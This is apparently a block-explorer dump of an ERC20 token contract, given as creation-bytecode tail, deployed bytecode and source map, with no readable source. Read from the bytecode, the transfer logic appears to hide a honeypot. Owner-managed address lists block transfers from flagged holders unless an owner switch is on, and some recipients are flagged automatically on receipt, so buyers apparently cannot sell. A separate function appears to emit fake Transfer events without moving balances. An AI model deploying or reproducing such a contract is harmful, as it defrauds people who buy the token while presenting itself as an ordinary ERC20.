61133690611e35565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061144482611419565b9050919050565b61145481611439565b811461145f57600080fd5b50565b6000813590506114718161144b565b92915050565b60006020828403121561148d5761148c61140f565b5b600061149b84828501611462565b91505092915050565b60008115159050919050565b6114b9816114a4565b82525050565b60006020820190506114d460008301846114b0565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115145780820151818401526020810190506114f9565b83811115611523576000848401525b50505050565b6000601f19601f8301169050919050565b6000611545826114da565b61154f81856114e5565b935061155f8185602086016114f6565b61156881611529565b840191505092915050565b6000602082019050818103600083015261158d818461153a565b905092915050565b6000819050919050565b6115a881611595565b81146115b357600080fd5b50565b6000813590506115c58161159f565b92915050565b600080604083850312156115e2576115e161140f565b5b60006115f085828601611462565b9250506020611601858286016115b6565b9150509250929050565b61161481611595565b82525050565b600060208201905061162f600083018461160b565b92915050565b60008060006060848603121561164e5761164d61140f565b5b600061165c86828701611462565b935050602061166d86828701611462565b925050604061167e868287016115b6565b9150509250925092565b600060ff82169050919050565b61169e81611688565b82525050565b60006020820190506116b96000830184611695565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126116e4576116e36116bf565b5b8235905067ffffffffffffffff811115611701576117006116c4565b5b60208301915083602082028301111561171d5761171c6116c9565b5b9250929050565b6000806020838503121561173b5761173a61140f565b5b600083013567ffffffffffffffff81111561175957611758611414565b5b611765858286016116ce565b92509250509250929050565b61177a81611439565b82525050565b60006020820190506117956000830184611771565b92915050565b600080604083850312156117b2576117b161140f565b5b60006117c085828601611462565b92505060206117d185828601611462565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061182257607f821691505b60208210811415611836576118356117db565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187682611595565b915061188183611595565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b6576118b561183c565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006118fb82611595565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561192e5761192d61183c565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119956025836114e5565b91506119a082611939565b604082019050919050565b600060208201905081810360008301526119c481611988565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a276026836114e5565b9150611a32826119cb565b604082019050919050565b60006020820190508181036000830152611a5681611a1a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ab96024836114e5565b9150611ac482611a5d565b604082019050919050565b60006020820190508181036000830152611ae881611aac565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b4b6022836114e5565b9150611b5682611aef565b604082019050919050565b60006020820190508181036000830152611b7a81611b3e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611bb7601d836114e5565b9150611bc282611b81565b602082019050919050565b60006020820190508181036000830152611be681611baa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c496025836114e5565b9150611c5482611bed565b604082019050919050565b60006020820190508181036000830152611c7881611c3c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611cdb6023836114e5565b9150611ce682611c7f565b604082019050919050565b60006020820190508181036000830152611d0a81611cce565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d6d6026836114e5565b9150611d7882611d11565b604082019050919050565b60006020820190508181036000830152611d9c81611d60565b9050919050565b50565b6000611db36000836114e5565b9150611dbe82611da3565b600082019050919050565b60006020820190508181036000830152611de281611da6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e1f6020836114e5565b9150611e2a82611de9565b602082019050919050565b60006020820190508181036000830152611e4e81611e12565b905091905056fea2646970667358221220b86d54c5a4b119f6e92c37dee0f833542cf67c53482387d88f51b39154e6f86664736f6c63430008090033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b85780639e9d0ba11161007c5780639e9d0ba114610350578063a457c2d71461036c578063a9059cbb1461039c578063beabacc8146103cc578063dd62ed3e146103e8578063f2fde38b1461041857610137565b806370a08231146102be578063715018a6146102ee5780638da5cb5b146102f857806395d89b4114610316578063997715091461033457610137565b806323b872dd116100ff57806323b872dd14610208578063313ce567146102385780633950935114610256578063578ff24c1461028657806364d4e691146102a257610137565b8063053e62041461013c57806306fdde031461016c578063095ea7b31461018a57806318160ddd146101ba5780631833528e146101d8575b600080fd5b61015660048036038101906101519190611477565b610434565b60405161016391906114bf565b60405180910390f35b61017461048a565b6040516101819190611573565b60405180910390f35b6101a4600480360381019061019f91906115cb565b61051c565b6040516101b191906114bf565b60405180910390f35b6101c261053f565b6040516101cf919061161a565b60405180910390f35b6101f260048036038101906101ed9190611477565b610549565b6040516101ff91906114bf565b60405180910390f35b610222600480360381019061021d9190611635565b61059f565b60405161022f91906114bf565b60405180910390f35b6102406105ce565b60405161024d91906116a4565b60405180910390f35b610270600480360381019061026b91906115cb565b6105d7565b60405161027d91906114bf565b60405180910390f35b6102a0600480360381019061029b9190611724565b61060e565b005b6102bc60048036038101906102b79190611724565b6106bb565b005b6102d860048036038101906102d39190611477565b610768565b6040516102e5919061161a565b60405180910390f35b6102f66107b1565b005b6103006107c5565b60405161030d9190611780565b60405180910390f35b61031e6107ee565b60405161032b9190611573565b60405180910390f35b61034e60048036038101906103499190611724565b610880565b005b61036a60048036038101906103659190611724565b61092d565b005b610386600480360381019061038191906115cb565b6109da565b60405161039391906114bf565b60405180910390f35b6103b660048036038101906103b191906115cb565b610a51565b6040516103c391906114bf565b60405180910390f35b6103e660048036038101906103e19190611635565b610a74565b005b61040260048036038101906103fd919061179b565b610ade565b60405161040f919061161a565b60405180910390f35b610432600480360381019061042d9190611477565b610b65565b005b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6060600780546104999061180a565b80601f01602080910402602001604051908101604052809291908181526020018280546104c59061180a565b80156105125780601f106104e757610100808354040283529160200191610512565b820191906000526020600020905b8154815290600101906020018083116104f557829003601f168201915b5050505050905090565b600080610527610be9565b9050610534818585610bf1565b600191505092915050565b6000600554905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806105aa610be9565b90506105b7858285610dbc565b6105c2858585610e48565b60019150509392505050565b60006012905090565b6000806105e2610be9565b90506106038185856105f48589610ade565b6105fe919061186b565b610bf1565b600191505092915050565b6106166112c3565b60005b828290508110156106b65760016003600085858581811061063d5761063c6118c1565b5b90506020020160208101906106529190611477565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106ae906118f0565b915050610619565b505050565b6106c36112c3565b60005b82829050811015610763576000600360008585858181106106ea576106e96118c1565b5b90506020020160208101906106ff9190611477565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061075b906118f0565b9150506106c6565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b96112c3565b6107c36000611341565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546107fd9061180a565b80601f01602080910402602001604051908101604052809291908181526020018280546108299061180a565b80156108765780601f1061084b57610100808354040283529160200191610876565b820191906000526020600020905b81548152906001019060200180831161085957829003601f168201915b5050505050905090565b6108886112c3565b60005b82829050811015610928576000600260008585858181106108af576108ae6118c1565b5b90506020020160208101906108c49190611477565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610920906118f0565b91505061088b565b505050565b6109356112c3565b60005b828290508110156109d55760016002600085858581811061095c5761095b6118c1565b5b90506020020160208101906109719190611477565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109cd906118f0565b915050610938565b505050565b6000806109e5610be9565b905060006109f38286610ade565b905083811015610a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2f906119ab565b60405180910390fd5b610a458286868403610bf1565b60019250505092915050565b600080610a5c610be9565b9050610a69818585610e48565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ad1919061161a565b60405180910390a3505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b6d6112c3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd490611a3d565b60405180910390fd5b610be681611341565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5890611acf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc890611b61565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610daf919061161a565b60405180910390a3505050565b6000610dc88484610ade565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e425781811015610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90611bcd565b60405180910390fd5b610e418484848403610bf1565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaf90611c5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f90611cf1565b60405180910390fd5b610f33838383611405565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb190611d83565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110ee5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561114a5760011515600660009054906101000a900460ff16151514611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090611dc9565b60405180910390fd5b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561124d576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112aa919061161a565b60405180910390a36112bd84848461140a565b50505050565b6112cb610be9565b73ffffffffffffffffffffffffffffffffffffffff166112e96107c5565b73ffffffffffffffffffffffffffffffffffffffff161461133f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133690611e35565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061144482611419565b9050919050565b61145481611439565b811461145f57600080fd5b50565b6000813590506114718161144b565b92915050565b60006020828403121561148d5761148c61140f565b5b600061149b84828501611462565b91505092915050565b60008115159050919050565b6114b9816114a4565b82525050565b60006020820190506114d460008301846114b0565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115145780820151818401526020810190506114f9565b83811115611523576000848401525b50505050565b6000601f19601f8301169050919050565b6000611545826114da565b61154f81856114e5565b935061155f8185602086016114f6565b61156881611529565b840191505092915050565b6000602082019050818103600083015261158d818461153a565b905092915050565b6000819050919050565b6115a881611595565b81146115b357600080fd5b50565b6000813590506115c58161159f565b92915050565b600080604083850312156115e2576115e161140f565b5b60006115f085828601611462565b9250506020611601858286016115b6565b9150509250929050565b61161481611595565b82525050565b600060208201905061162f600083018461160b565b92915050565b60008060006060848603121561164e5761164d61140f565b5b600061165c86828701611462565b935050602061166d86828701611462565b925050604061167e868287016115b6565b9150509250925092565b600060ff82169050919050565b61169e81611688565b82525050565b60006020820190506116b96000830184611695565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126116e4576116e36116bf565b5b8235905067ffffffffffffffff811115611701576117006116c4565b5b60208301915083602082028301111561171d5761171c6116c9565b5b9250929050565b6000806020838503121561173b5761173a61140f565b5b600083013567ffffffffffffffff81111561175957611758611414565b5b611765858286016116ce565b92509250509250929050565b61177a81611439565b82525050565b60006020820190506117956000830184611771565b92915050565b600080604083850312156117b2576117b161140f565b5b60006117c085828601611462565b92505060206117d185828601611462565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061182257607f821691505b60208210811415611836576118356117db565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187682611595565b915061188183611595565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b6576118b561183c565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006118fb82611595565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561192e5761192d61183c565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119956025836114e5565b91506119a082611939565b604082019050919050565b600060208201905081810360008301526119c481611988565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a276026836114e5565b9150611a32826119cb565b604082019050919050565b60006020820190508181036000830152611a5681611a1a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ab96024836114e5565b9150611ac482611a5d565b604082019050919050565b60006020820190508181036000830152611ae881611aac565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b4b6022836114e5565b9150611b5682611aef565b604082019050919050565b60006020820190508181036000830152611b7a81611b3e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611bb7601d836114e5565b9150611bc282611b81565b602082019050919050565b60006020820190508181036000830152611be681611baa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c496025836114e5565b9150611c5482611bed565b604082019050919050565b60006020820190508181036000830152611c7881611c3c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611cdb6023836114e5565b9150611ce682611c7f565b604082019050919050565b60006020820190508181036000830152611d0a81611cce565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d6d6026836114e5565b9150611d7882611d11565b604082019050919050565b60006020820190508181036000830152611d9c81611d60565b9050919050565b50565b6000611db36000836114e5565b9150611dbe82611da3565b600082019050919050565b60006020820190508181036000830152611de281611da6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e1f6020836114e5565b9150611e2a82611de9565b602082019050919050565b60006020820190508181036000830152611e4e81611e12565b905091905056fea2646970667358221220b86d54c5a4b119f6e92c37dee0f833542cf67c53482387d88f51b39154e6f86664736f6c63430008090033

Deployed Bytecode Sourcemap

410:238:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39745:107:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37769:98;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41101:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39912:106;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39639:100;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41860:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38706:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;42541:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38803:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38983:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;40076:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2457:101:0;;;:::i;:::-;;1834:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37980:102:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39463:170;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;39166:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;43262:427;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40397:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39340:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;40644:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2707:198:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;39745:107:1;39803:4;39826:8;:19;39835:9;39826:19;;;;;;;;;;;;;;;;;;;;;;;;;39819:26;;39745:107;;;:::o;37769:98::-;37823:13;37855:5;37848:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;37769:98;:::o;41101:197::-;41184:4;41200:13;41216:12;:10;:12::i;:::-;41200:28;;41238:32;41247:5;41254:7;41263:6;41238:8;:32::i;:::-;41287:4;41280:11;;;41101:197;;;;:::o;39912:106::-;39973:7;39999:12;;39992:19;;39912:106;:::o;39639:100::-;39694:4;39717;:15;39722:9;39717:15;;;;;;;;;;;;;;;;;;;;;;;;;39710:22;;39639:100;;;:::o;41860:286::-;41987:4;42003:15;42021:12;:10;:12::i;:::-;42003:30;;42043:38;42059:4;42065:7;42074:6;42043:15;:38::i;:::-;42091:27;42101:4;42107:2;42111:6;42091:9;:27::i;:::-;42135:4;42128:11;;;41860:286;;;;;:::o;38706:91::-;38764:5;38788:2;38781:9;;38706:91;:::o;42541:234::-;42629:4;42645:13;42661:12;:10;:12::i;:::-;42645:28;;42683:64;42692:5;42699:7;42736:10;42708:25;42718:5;42725:7;42708:9;:25::i;:::-;:38;;;;:::i;:::-;42683:8;:64::i;:::-;42764:4;42757:11;;;42541:234;;;;:::o;38803:174::-;1727:13:0;:11;:13::i;:::-;38881:9:1::1;38876:95;38900:6;;:13;;38896:1;:17;38876:95;;;38956:4;38934:8;:19;38943:6;;38950:1;38943:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;38934:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;38915:3;;;;;:::i;:::-;;;;38876:95;;;;38803:174:::0;;:::o;38983:177::-;1727:13:0;:11;:13::i;:::-;39063:9:1::1;39058:96;39082:6;;:13;;39078:1;:17;39058:96;;;39138:5;39116:8;:19;39125:6;;39132:1;39125:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;39116:19;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;39097:3;;;;;:::i;:::-;;;;39058:96;;;;38983:177:::0;;:::o;40076:125::-;40150:7;40176:9;:18;40186:7;40176:18;;;;;;;;;;;;;;;;40169:25;;40076:125;;;:::o;2457:101:0:-;1727:13;:11;:13::i;:::-;2521:30:::1;2548:1;2521:18;:30::i;:::-;2457:101::o:0;1834:85::-;1880:7;1906:6;;;;;;;;;;;1899:13;;1834:85;:::o;37980:102:1:-;38036:13;38068:7;38061:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;37980:102;:::o;39463:170::-;1727:13:0;:11;:13::i;:::-;39540:9:1::1;39535:92;39559:6;;:13;;39555:1;:17;39535:92;;;39611:5;39593:4;:15;39598:6;;39605:1;39598:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;39593:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;39574:3;;;;;:::i;:::-;;;;39535:92;;;;39463:170:::0;;:::o;39166:167::-;1727:13:0;:11;:13::i;:::-;39241:9:1::1;39236:91;39260:6;;:13;;39256:1;:17;39236:91;;;39312:4;39294;:15;39299:6;;39306:1;39299:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;39294:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;39275:3;;;;;:::i;:::-;;;;39236:91;;;;39166:167:::0;;:::o;43262:427::-;43355:4;43371:13;43387:12;:10;:12::i;:::-;43371:28;;43409:24;43436:25;43446:5;43453:7;43436:9;:25::i;:::-;43409:52;;43499:15;43479:16;:35;;43471:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;43590:60;43599:5;43606:7;43634:15;43615:16;:34;43590:8;:60::i;:::-;43678:4;43671:11;;;;43262:427;;;;:::o;40397:189::-;40476:4;40492:13;40508:12;:10;:12::i;:::-;40492:28;;40530;40540:5;40547:2;40551:6;40530:9;:28::i;:::-;40575:4;40568:11;;;40397:189;;;;:::o;39340:117::-;39440:3;39424:26;;39433:5;39424:26;;;39445:4;39424:26;;;;;;:::i;:::-;;;;;;;;39340:117;;;:::o;40644:149::-;40733:7;40759:11;:18;40771:5;40759:18;;;;;;;;;;;;;;;:27;40778:7;40759:27;;;;;;;;;;;;;;;;40752:34;;40644:149;;;;:::o;2707:198:0:-;1727:13;:11;:13::i;:::-;2815:1:::1;2795:22;;:8;:22;;;;2787:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2870:28;2889:8;2870:18;:28::i;:::-;2707:198:::0;:::o;587:96::-;640:7;666:10;659:17;;587:96;:::o;47644:370:1:-;47792:1;47775:19;;:5;:19;;;;47767:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;47872:1;47853:21;;:7;:21;;;;47845:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;47954:6;47924:11;:18;47936:5;47924:18;;;;;;;;;;;;;;;:27;47943:7;47924:27;;;;;;;;;;;;;;;:36;;;;47991:7;47975:32;;47984:5;47975:32;;;48000:6;47975:32;;;;;;:::i;:::-;;;;;;;;47644:370;;;:::o;48295:441::-;48425:24;48452:25;48462:5;48469:7;48452:9;:25::i;:::-;48425:52;;48511:17;48491:16;:37;48487:243;;48572:6;48552:16;:26;;48544:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;48654:51;48663:5;48670:7;48698:6;48679:16;:25;48654:8;:51::i;:::-;48487:243;48415:321;48295:441;;;:::o;44142:958::-;44284:1;44268:18;;:4;:18;;;;44260:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;44360:1;44346:16;;:2;:16;;;;44338:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;44413:38;44434:4;44440:2;44444:6;44413:20;:38::i;:::-;44462:19;44484:9;:15;44494:4;44484:15;;;;;;;;;;;;;;;;44462:37;;44532:6;44517:11;:21;;44509:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;44647:6;44633:11;:20;44615:9;:15;44625:4;44615:15;;;;;;;;;;;;;;;:38;;;;44847:6;44830:9;:13;44840:2;44830:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;44877:4;:10;44882:4;44877:10;;;;;;;;;;;;;;;;;;;;;;;;;:22;;;;44891:4;:8;44896:2;44891:8;;;;;;;;;;;;;;;;;;;;;;;;;44877:22;44873:63;;;44925:4;44910:19;;:11;;;;;;;;;;;:19;;;44902:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;44873:63;44950:8;:12;44959:2;44950:12;;;;;;;;;;;;;;;;;;;;;;;;;44946:58;;;44980:5;44965:8;:12;44974:2;44965:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;44998:4;44987;:8;44992:2;44987:8;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;;;;;;;44946:58;45034:2;45019:26;;45028:4;45019:26;;;45038:6;45019:26;;;;;;:::i;:::-;;;;;;;;45056:37;45076:4;45082:2;45086:6;45056:19;:37::i;:::-;44250:850;44142:958;;;:::o;1992:130:0:-;2066:12;:10;:12::i;:::-;2055:23;;:7;:5;:7::i;:::-;:23;;;2047:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1992:130::o;3059:187::-;3132:16;3151:6;;;;;;;;;;;3132:25;;3176:8;3167:6;;:17;;;;;;;;;;;;;;;;;;3230:8;3199:40;;3220:8;3199:40;;;;;;;;;;;;3122:124;3059:187;:::o;50030:121:1:-;;;;:::o;49324:120::-;;;;:::o;88:117:4:-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:90::-;1210:7;1253:5;1246:13;1239:21;1228:32;;1176:90;;;:::o;1272:109::-;1353:21;1368:5;1353:21;:::i;:::-;1348:3;1341:34;1272:109;;:::o;1387:210::-;1474:4;1512:2;1501:9;1497:18;1489:26;;1525:65;1587:1;1576:9;1572:17;1563:6;1525:65;:::i;:::-;1387:210;;;;:::o;1603:99::-;1655:6;1689:5;1683:12;1673:22;;1603:99;;;:::o;1708:169::-;1792:11;1826:6;1821:3;1